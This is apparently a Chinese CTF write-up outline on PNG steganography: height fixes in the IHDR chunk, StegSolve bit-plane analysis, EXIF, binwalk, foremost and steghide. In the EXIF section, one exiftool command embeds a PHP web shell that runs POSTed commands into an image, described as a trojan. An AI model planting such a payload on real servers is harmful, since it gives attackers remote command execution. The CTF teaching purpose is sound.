文章目录
以 One PieNG 等题目为例,分析PNG隐写姿势
二维码
IHDR
文件头
文件尾
调整图片高度
修改高度
在8神的png隐写中,需要改的高度更高
可以直接把0改成9,其实可以无脑增大,显示不影响
StegSolve
在Blue通道找到隐写
File Format
Data Extract
RGB是红绿蓝 但他们的值代表的实际上是亮度
R的数字越大,则代表红色亮度越高;R的数字越小,则代表红色亮度越低。G,B同理
R的亮度各有256个级别,GB同理。即从0到255,合计为256个。从数字0到255的逐渐增高,我们人眼观察到的就是亮度越来越大,红色、绿色或蓝色越来越亮。然而256是2的8次方
所以你会看见上图的7~0 一共8个通道而Alpha就是透明度 该通道用256级灰度来记录图像中的透明度信息,定义透明、不透明和半透明区域
alpha的值为0就是全透明,alpha 的值为 255 则表示不透明
因此左半部分就理解了
右半部分就是Extra By(额外的)和Bit Order(位顺序)和Bit Plane Order(位平面的顺序)
1).Extra By(额外的):分为row(行)和column(纵)
每个像素用R,G,B三个分量表示,那么一张图片就像一个矩阵,矩阵的每个单位就是(0255,0255,0~255)
也就会有是纵排列和行排列了,一般事先访问行再访问列(如果相反会引起ve使用方法)
2).Bit Order(位顺序):MSB是一串数据的最高位,LSB是一串数据的最低位。
3).Bit Plane Order(位平面的顺序)
整个图像分解为8个位平面,从LSB(最低有效位0)到MSB(最高有效位7)随着从位平面0 到位平面7,位平面图像的特征逐渐变得复杂,细节不断增加。(一般我们的图片如果是RGB那么就是24位 3乘8嘛)
4)Bit Plane Order(位平面的顺序):一般图片是24位 也就是3个8 大家可以想像成三明治 比如BGR就是B为三明治第一层
G为第二层 R为第三层。
考虑纵列:尝试去掉一些通道
遇到明显的问题可以猜猜看在7通道的隐写
分析不同通道间的隐写长度
1,2通道宽度更大
Save Bin解压即可
Frame Browser
Stegsolve打开gif,一帧一帧看
EXIF
exiftool支持图片EXIF信息查询,修改及批量操作
还支持其它文件的EXIF操作
例:为一个图片生成图片码,图片码为我们的木马
exiftool poc.jpg -documentname="<?php echo exec(\$_POST['cmd']); ?>"
Binwalk
binwalk -e png
Foremost
有时候binwalk并不好用
Steghide
隐藏文件
steghide embed -cf [图片文件载体] -ef [待隐藏文件]
steghide embed -cf 1.jpg -ef 1.txt
查看图片中嵌入的文件信息
steghide info 1.jpg
提取图片中隐藏的文件
steghide extract -sf 1.jpg
PNGdebugger
TweakPNG
可以查看或修改图片信息